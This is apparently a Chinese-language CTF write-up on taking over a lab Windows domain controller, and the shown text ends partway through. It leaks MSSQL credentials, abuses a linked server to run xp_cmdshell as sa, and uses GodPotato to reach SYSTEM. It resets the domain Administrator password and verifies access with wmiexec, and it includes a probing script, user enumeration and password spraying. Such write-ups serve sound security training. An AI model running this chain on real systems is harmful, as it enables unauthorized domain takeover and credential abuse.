&lt;li&gt;Web：&lt;code&gt;80/tcp&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;MSSQL：&lt;code&gt;1433/tcp&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;LDAP / AD：&lt;code&gt;389, 445, 88 ...&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;通过 Guest Additions 和网络探测确认到：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Host-only 网卡：&lt;code&gt;169.254.212.20&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;NAT 网卡：&lt;code&gt;10.0.3.15&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;攻击面梳理&lt;/h2&gt;
&lt;p&gt;首页只有一个静态维护页：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;h1&amp;gt;Employee Portal&amp;lt;/h1&amp;gt;
&amp;lt;p&amp;gt;Under maintenance...&amp;lt;/p&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看起来没什么内容，但离线查看 VMDK 后发现 &lt;code&gt;inetpub\wwwroot&lt;/code&gt; 下除了 &lt;code&gt;index.html&lt;/code&gt; 之外还有一个非常关键的文件：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-latex&quot;&gt;C:\inetpub\wwwroot\poo_connection.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;内容是明文 SQL 连接串：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-latex&quot;&gt;server=localhost;
user=wuwupor;
password=lovlyBaby
database=master
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这一条直接把 MSSQL 入口送出来了。&lt;/p&gt;
&lt;h2&gt;第一步：连接 MSSQL&lt;/h2&gt;
&lt;p&gt;用连接串登录 SQL Server：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-latex&quot;&gt;wuwupor / lovlyBaby
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;登录成功，但当前账号不是 &lt;code&gt;sysadmin&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;select is_srvrolemember(&amp;#39;sysadmin&amp;#39;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;返回 &lt;code&gt;0&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;继续枚举时，发现 SQL Server 上配置了两个非常可疑的 linked server：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;select name, product, provider, data_source,
       is_rpc_out_enabled, is_data_access_enabled
from sys.servers
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结果里有：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;POO_PUBLIC&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;POO_CONFIG&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第二步：利用 linked server 提权到 SQL sysadmin&lt;/h2&gt;
&lt;p&gt;进一步验证这两个 linked server 的远端身份：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;select * from openquery(POO_PUBLIC, &amp;#39;select @@servername as srv, db_name() as db, system_user as su, user_name() as un&amp;#39;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;返回：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-latex&quot;&gt;srv = CASTLEVANIA
db  = master
su  = sa
un  = dbo
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是说：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-latex&quot;&gt;wuwupor -&amp;gt; POO_PUBLIC -&amp;gt; localhost 上的 sa/dbo
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这就相当于把本来不具备 &lt;code&gt;sysadmin&lt;/code&gt; 的账号，借 linked server 直接借成了 &lt;code&gt;sa&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;而且 &lt;code&gt;xp_cmdshell&lt;/code&gt; 已经是开启状态：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;exec (&amp;#39;exec master..sp_configure &amp;#39;&amp;#39;xp_cmdshell&amp;#39;&amp;#39;&amp;#39;) at POO_PUBLIC
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;第三步：拿到系统命令执行&lt;/h2&gt;
&lt;p&gt;通过 linked server 执行命令：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;exec (&amp;#39;exec master..xp_cmdshell &amp;#39;&amp;#39;whoami&amp;#39;&amp;#39;&amp;#39;) at POO_PUBLIC
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;回显是：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-latex&quot;&gt;xmcve\sqlsvc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是说当前操作系统命令执行身份是 SQL Server 服务账号 &lt;code&gt;xmcve\sqlsvc&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;继续查它的特权：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-latex&quot;&gt;whoami /priv
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-latex&quot;&gt;SeImpersonatePrivilege        Enabled
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以标准的 Potato 链是可用的。&lt;/p&gt;
&lt;h2&gt;第四步：为什么 PrintSpoofer 不行&lt;/h2&gt;
&lt;p&gt;我最开始先试了 &lt;code&gt;PrintSpoofer&lt;/code&gt;，但很快发现这台机器的 &lt;code&gt;Spooler&lt;/code&gt; 是关着的，而且启动类型是 &lt;code&gt;Disabled&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-latex&quot;&gt;Get-Service Spooler
Status    : Stopped
StartType : Disabled
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因此 &lt;code&gt;PrintSpoofer&lt;/code&gt; 这条链虽然二进制能执行，但不会真正完成提权。&lt;/p&gt;
&lt;h2&gt;第五步：改用 GodPotato&lt;/h2&gt;
&lt;p&gt;由于系统是 Windows Server 2019，且 &lt;code&gt;sqlsvc&lt;/code&gt; 拥有 &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt;，直接换成 &lt;code&gt;GodPotato&lt;/code&gt; 即可。&lt;/p&gt;
&lt;p&gt;我在宿主机开了一个临时 HTTP 服务，把 &lt;code&gt;GodPotato-NET4.exe&lt;/code&gt; 投到客机，然后通过 SQL 执行：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-latex&quot;&gt;C:\Windows\Temp\GodPotato-NET4.exe -cmd &amp;quot;cmd /c net user Administrator Xmctf2026Aa /domain&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;GodPotato&lt;/code&gt; 的关键回显如下：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-latex&quot;&gt;[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] Start Search System Token
[*] PID : 804 Token:0x800  User: NT AUTHORITY\SYSTEM
[*] Find System Token : True
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid ...
The command completed successfully.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这说明链条已经把 &lt;code&gt;sqlsvc&lt;/code&gt; 抬到了 &lt;code&gt;SYSTEM&lt;/code&gt;，并成功执行了我们给它的命令。&lt;/p&gt;
&lt;p&gt;随后再查：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-latex&quot;&gt;net user Administrator /domain
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到 &lt;code&gt;Password last set&lt;/code&gt; 已经更新，说明域管理员密码确实被改掉了。&lt;/p&gt;
&lt;h2&gt;第六步：验证 Administrator shell&lt;/h2&gt;
&lt;p&gt;最后直接用新密码通过 impacket 的 &lt;code&gt;wmiexec.py&lt;/code&gt; 验证远程管理员执行：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;python wmiexec.py XMCVE/Administrator:Xmctf2026Aa@169.254.212.20 whoami
python wmiexec.py XMCVE/Administrator:Xmctf2026Aa@169.254.212.20 hostname
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;回显：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-latex&quot;&gt;xmcve\administrator
CASTLEVANIA
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这一步已经满足题目要求的：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-latex&quot;&gt;拿到 Administrator shell
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;补充：本地 flag 文本的恢复&lt;/h2&gt;
&lt;p&gt;虽然官方 flag 要人工审核后发放，但镜像里其实残留了一个已经删除的本地 flag 文件线索。&lt;/p&gt;
&lt;p&gt;在 &lt;code&gt;Alucard&lt;/code&gt; 的 Recent 里有一个快捷方式：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-latex&quot;&gt;C:\Users\Alucard\Recent\flag.lnk
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;它指向：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-latex&quot;&gt;C:\Users\Administrator\Desktop\flag.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个文件本身已经被删掉了，但在回收站目录中仍然留有内容文件：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-latex&quot;&gt;$Recycle.Bin\S-1-5-21-...-500\$RIZ9PVX.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;离线读这个文件，能恢复出：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-latex&quot;&gt;FLAG{XMCVE_Castlevania_Bloodlines_DA_Pwned}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再次强调，这更像是镜像内的本地证明文本，不一定等于比赛平台最后发放的正式 flag。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;p&gt;完整利用脚本放在：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-latex&quot;&gt;exploit/solve.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;脚本做的事情是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;在宿主机开启临时 HTTP 服务。&lt;/li&gt;
&lt;li&gt;用 &lt;code&gt;wuwupor / lovlyBaby&lt;/code&gt; 登录 MSSQL。&lt;/li&gt;
&lt;li&gt;通过 linked server &lt;code&gt;POO_PUBLIC&lt;/code&gt; 执行 &lt;code&gt;xp_cmdshell&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;向客机投递并运行 &lt;code&gt;GodPotato-NET4.exe&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;把 &lt;code&gt;Administrator&lt;/code&gt; 的域密码改成已知值。&lt;/li&gt;
&lt;li&gt;调用 &lt;code&gt;wmiexec.py&lt;/code&gt; 验证 &lt;code&gt;Administrator&lt;/code&gt; shell。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;运行方式&lt;/h2&gt;
&lt;p&gt;在当前主机上直接执行：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;python C:\AI知识库\Test\polarisctf2026\tasks\Web\16-BabyDC\exploit\solve.py
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;p&gt;这题的核心链非常清晰：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-latex&quot;&gt;离线盘分析 -&amp;gt; webroot 明文连接串 -&amp;gt; MSSQL 登录 -&amp;gt;
linked server 映射到 sa -&amp;gt; xp_cmdshell -&amp;gt;
GodPotato(SeImpersonate) -&amp;gt; SYSTEM -&amp;gt;
重置 Administrator 密码 -&amp;gt; Administrator shell
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中最关键的两个点是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;poo_connection.txt&lt;/code&gt; 泄露了 SQL 凭据。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;POO_PUBLIC&lt;/code&gt; 这个 linked server 把普通 SQL 登录桥接成了 &lt;code&gt;sa&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;有了这两步，后面的 &lt;code&gt;GodPotato&lt;/code&gt; 只是把 “系统命令执行” 再抬成 “管理员控制整台 DC”。&lt;/p&gt;
&lt;h1&gt;GDEX(土豆提权)&lt;/h1&gt;
&lt;h2&gt;1. 题目环境与边界&lt;/h2&gt;
&lt;p&gt;工具：VirtualBox 7.2.0、PowerShell、&lt;code&gt;ipconfig&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;目的：确认靶机网络、攻击边界和目标身份，确保后续动作只落在靶机 &lt;code&gt;192.168.56.101&lt;/code&gt; 上，不对宿主机做攻击。&lt;/p&gt;
&lt;p&gt;关键命令：&lt;/p&gt;
&lt;p&gt;ipconfig&lt;/p&gt;
&lt;p&gt;关键结果：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;宿主机 VirtualBox Host-Only 网卡为 &lt;code&gt;192.168.56.1/24&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;靶机最终恢复到 Host-Only 网络，目标地址确定为 &lt;code&gt;192.168.56.101&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;靶机身份后续通过 LDAP/SQL 进一步确认：&lt;ul&gt;
&lt;li&gt;主机名：&lt;code&gt;CASTLEVANIA&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;域名：&lt;code&gt;XMCVE.local&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;系统：&lt;code&gt;Windows Server 2019&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;角色：域控&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;说明：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;整个过程只打 &lt;code&gt;192.168.56.101&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;宿主机 &lt;code&gt;192.168.56.1&lt;/code&gt; 仅在后期作为 HTTP 文件服务端，给靶机下发工具文件，不作为攻击目标。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;2. 初始信息搜集&lt;/h2&gt;
&lt;h3&gt;2.1 Web 探测&lt;/h3&gt;
&lt;p&gt;工具：&lt;code&gt;web_probe.py&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;目的：确认 Web 面是否存在可直接利用的入口、虚拟主机、隐藏路径或调试页面。&lt;/p&gt;
&lt;p&gt;关键命令：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;import argparse
from typing import Iterable

import requests


DEFAULT_HOSTS = [
    &amp;quot;192.168.56.101&amp;quot;,
    &amp;quot;castlevania&amp;quot;,
    &amp;quot;castlevania.xmcve.local&amp;quot;,
    &amp;quot;xmcve.local&amp;quot;,
    &amp;quot;portal.xmcve.local&amp;quot;,
    &amp;quot;intranet.xmcve.local&amp;quot;,
    &amp;quot;employee.xmcve.local&amp;quot;,
    &amp;quot;support.xmcve.local&amp;quot;,
    &amp;quot;sql.xmcve.local&amp;quot;,
    &amp;quot;dev.xmcve.local&amp;quot;,
    &amp;quot;test.xmcve.local&amp;quot;,
]

DEFAULT_PATHS = [
    &amp;quot;/&amp;quot;,
    &amp;quot;/index.html&amp;quot;,
    &amp;quot;/portal/&amp;quot;,
    &amp;quot;/employee/&amp;quot;,
    &amp;quot;/support/&amp;quot;,
    &amp;quot;/login/&amp;quot;,
    &amp;quot;/admin/&amp;quot;,
    &amp;quot;/db/&amp;quot;,
    &amp;quot;/sql/&amp;quot;,
    &amp;quot;/backup/&amp;quot;,
]


def probe(base_url: str, hostnames: Iterable[str], paths: Iterable[str], timeout: int) -&amp;gt; None:
    session = requests.Session()
    session.trust_env = False
    for host in hostnames:
        for path in paths:
            url = f&amp;quot;{base_url.rstrip(&amp;#39;/&amp;#39;)}{path}&amp;quot;
            try:
                response = session.get(
                    url,
                    headers={&amp;quot;Host&amp;quot;: host},
                    timeout=timeout,
                    allow_redirects=False,
                    proxies={&amp;quot;http&amp;quot;: None, &amp;quot;https&amp;quot;: None},
                )
                server = response.headers.get(&amp;quot;Server&amp;quot;, &amp;quot;&amp;quot;)
                print(
                    f&amp;quot;{response.status_code}\t{len(response.text)}\tHost={host}\tPath={path}\tServer={server}&amp;quot;
                )
            except Exception as exc:
                print(f&amp;quot;ERR\tHost={host}\tPath={path}\t{exc}&amp;quot;)


def main() -&amp;gt; None:
    parser = argparse.ArgumentParser(description=&amp;quot;HTTP vhost and path probing against a single target&amp;quot;)
    parser.add_argument(&amp;quot;--url&amp;quot;, default=&amp;quot;http://192.168.56.101&amp;quot;, help=&amp;quot;Base URL&amp;quot;)
    parser.add_argument(&amp;quot;--timeout&amp;quot;, type=int, default=4, help=&amp;quot;Request timeout&amp;quot;)
    parser.add_argument(&amp;quot;--hosts&amp;quot;, nargs=&amp;quot;*&amp;quot;, default=DEFAULT_HOSTS, help=&amp;quot;Host header candidates&amp;quot;)
    parser.add_argument(&amp;quot;--paths&amp;quot;, nargs=&amp;quot;*&amp;quot;, default=DEFAULT_PATHS, help=&amp;quot;Paths to probe&amp;quot;)
    args = parser.parse_args()
    probe(args.url, args.hosts, args.paths, args.timeout)


if __name__ == &amp;quot;__main__&amp;quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;python .\web_probe.py --url &lt;a href=&quot;http://192.168.56.101&quot;&gt;http://192.168.56.101&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;关键结果：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;80/tcp&lt;/code&gt; 为 IIS 10.0。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/&lt;/code&gt; 与 &lt;code&gt;/index.html&lt;/code&gt; 返回静态页面，内容为：&lt;ul&gt;
&lt;li&gt;&lt;code&gt;CASTLEVANIA Portal&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Employee Portal&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Under maintenance...&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;OPTIONS&lt;/code&gt; 允许的方法为：&lt;code&gt;OPTIONS, TRACE, GET, HEAD, POST&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;结论：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Web 面非常薄，没有直接给出认证入口或现成 RCE。&lt;/li&gt;
&lt;li&gt;站点更像“占位页面 + 后端另有依赖”，应继续往 IIS 配置、连接串和数据库方向挖。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.2 LDAP RootDSE 匿名枚举&lt;/h3&gt;
&lt;p&gt;工具：&lt;code&gt;ldap_rootdse.py&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;目的：确认域信息、LDAP 命名上下文、DC 身份。&lt;/p&gt;
&lt;p&gt;关键命令：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$env:PYTHONPATH=&amp;#39;f:\aaa\新建文件夹\aaaaaaaaaasentou\.deps&amp;#39;
python .\ldap_rootdse.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;关键结果：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;[+] default_naming_context: [&amp;#39;DC=XMCVE,DC=local&amp;#39;]
[+] dns_host_name: [&amp;#39;CASTLEVANIA.XMCVE.local&amp;#39;]
[+] ldap_service_name: [&amp;#39;XMCVE.local:castlevania$@XMCVE.LOCAL&amp;#39;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结论：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;目标是 &lt;code&gt;XMCVE.local&lt;/code&gt; 域内 DC。&lt;/li&gt;
&lt;li&gt;后续所有 LDAP/Kerberos/MSSQL 利用都可以围绕这个域来展开。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.3 Kerberos 用户枚举&lt;/h3&gt;
&lt;p&gt;工具：&lt;code&gt;kerb_user_enum.py&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;目的：枚举有效域用户，确认后续喷洒、凭据猜解和服务账号方向。&lt;/p&gt;
&lt;p&gt;关键命令：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$env:PYTHONPATH=&amp;#39;f:\aaa\新建文件夹\aaaaaaaaaasentou\.deps&amp;#39;
python .\kerb_user_enum.py --no-asrep
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;关键结果：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;VALID   Administrator   25
VALID   Alucard         25
VALID   support         25
VALID   sqlsvc          25
INVALID Guest           18
INVALID krbtgt          18
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结论：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;有效用户至少包括：&lt;code&gt;Administrator&lt;/code&gt;、&lt;code&gt;Alucard&lt;/code&gt;、&lt;code&gt;support&lt;/code&gt;、&lt;code&gt;sqlsvc&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sqlsvc&lt;/code&gt; 极像 MSSQL 服务账号，优先级最高。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.4 低噪声 LDAP 密码喷洒&lt;/h3&gt;
&lt;p&gt;工具：&lt;code&gt;password_spray_ldap.py&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;目的：对已经确定的少量有效用户做极小范围喷洒，看看是否存在弱口令复用。&lt;/p&gt;
&lt;p&gt;关键命令：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$env:PYTHONPATH=&amp;#39;f:\aaa\新建文件夹\aaaaaaaaaasentou\.deps&amp;#39;
python .\password_spray_ldap.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;关键结果：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;对 &lt;code&gt;Alucard / sqlsvc / support / Administrator&lt;/code&gt; 的小范围喷洒没有命中。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;结论：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;该题不走“简单弱口令”路线。&lt;/li&gt;
&lt;li&gt;后续更应该关注配置泄露、服务账号、数据库与离线取证。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.5 初始开放端口结论&lt;/h3&gt;
&lt;p&gt;工具：端口探测&lt;/p&gt;
&lt;p&gt;目的：建立完整攻击面。&lt;/p&gt;
&lt;p&gt;关键结果：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;53/tcp&lt;/code&gt; DNS&lt;/li&gt;
&lt;li&gt;&lt;code&gt;80/tcp&lt;/code&gt; IIS 10.0&lt;/li&gt;
&lt;li&gt;&lt;code&gt;88/tcp&lt;/code&gt; Kerberos&lt;/li&gt;
&lt;li&gt;&lt;code&gt;135/tcp&lt;/code&gt; RPC&lt;/li&gt;
&lt;li&gt;&lt;code&gt;139/tcp&lt;/code&gt; NetBIOS&lt;/li&gt;
&lt;li&gt;&lt;code&gt;389/tcp&lt;/code&gt; LDAP&lt;/li&gt;
&lt;li&gt;&lt;code&gt;445/tcp&lt;/code&gt; SMB&lt;/li&gt;
&lt;li&gt;&lt;code&gt;464/tcp&lt;/code&gt; Kerberos kpasswd&lt;/li&gt;
&lt;li&gt;&lt;code&gt;593/tcp&lt;/code&gt; RPC over HTTP&lt;/li&gt;
&lt;li&gt;&lt;code&gt;636/tcp&lt;/code&gt; LDAPS&lt;/li&gt;
&lt;li&gt;&lt;code&gt;1433/tcp&lt;/code&gt; MSSQL&lt;/li&gt;
&lt;li&gt;&lt;code&gt;9389/tcp&lt;/code&gt; AD Web Services&lt;/li&gt;
&lt;li&gt;&lt;code&gt;49666/tcp``49667/tcp``49669/tcp``49670/tcp&lt;/code&gt; 高位 RPC&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;结论：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;这是一台“域控 + IIS + MSSQL”混合角色机器。&lt;/li&gt;
&lt;li&gt;真正可打的重心是 &lt;code&gt;1433/tcp&lt;/code&gt;，而不是薄弱的静态 Web 页面。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;3. 离线取证与关键线索&lt;/h2&gt;
&lt;p&gt;工具：VirtualBox 磁盘克隆、Python + &lt;code&gt;dissect.target&lt;/code&gt;、&lt;code&gt;LnkParse3&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;目的：Web 正面几乎没有入口时，直接离线分析系统盘，找明文凭据、服务配置、Recent 痕迹和管理员操作记录。&lt;/p&gt;
&lt;p&gt;关键思路：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;先对靶机系统盘做克隆，得到 &lt;code&gt;bloodstained_clone.vhd&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;用 Python + &lt;code&gt;dissect.target&lt;/code&gt; 打开克隆盘，重点查看：&lt;ul&gt;
&lt;li&gt;&lt;code&gt;C:\inetpub\wwwroot&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;C:\Program Files\Microsoft SQL Server\...\ERRORLOG&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;C:\Scripts&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;C:\Users\*\AppData\Roaming\Microsoft\Windows\Recent&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ConsoleHost_history.txt&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;用 &lt;code&gt;LnkParse3&lt;/code&gt; 解析 Recent 目录下的 &lt;code&gt;.lnk&lt;/code&gt;，恢复已删除文件曾经存在的路径。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;关键发现 1：Web 根目录连接串泄露&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;文件：&lt;code&gt;C:\inetpub\wwwroot\poo_connection.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;内容关键信息：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;server=localhost;
user=wuwupor;
password=lovlyBaby
database=master
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结论：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;直接拿到 MSSQL 明文凭据 &lt;code&gt;wuwupor / lovlyBaby&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;这是整条链路的真正起点。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;关键发现 2：SQL 服务账号&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;从 SQL ERRORLOG 可确认 SQL Server 服务账号为 &lt;code&gt;XMCVE\sqlsvc&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;结论：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;说明之后 &lt;code&gt;xp_cmdshell&lt;/code&gt; 很可能会以 &lt;code&gt;sqlsvc&lt;/code&gt; 身份执行系统命令。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;关键发现 3：linked server&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SQL 内存在两个 linked server：&lt;ul&gt;
&lt;li&gt;&lt;code&gt;POO_CONFIG&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;POO_PUBLIC&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;结论：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;这类配置在 CTF 里通常不是装饰，很可能就是从低权限 SQL 登录横向到高权限上下文的关键。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;关键发现 4：辅助痕迹&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;MailBot.ps1&lt;/code&gt; 里出现过一组像比赛用户名/密码的字符串：&lt;ul&gt;
&lt;li&gt;&lt;code&gt;pr3d1ct / yuyan_crypto&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;p2zhh / p2zhh_web&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;aomr / aomr_reverse&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;berial / berial_pwn&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Recent&lt;/code&gt; 和 PowerShell history 指向过一批已删除文件：&lt;ul&gt;
&lt;li&gt;&lt;code&gt;dcsync.sh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;golden_ticket.sh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SAM.save&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SECURITY.save&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SYSTEM.save&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;fix_linked_server.ps1&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;结论：&lt;/p&gt;
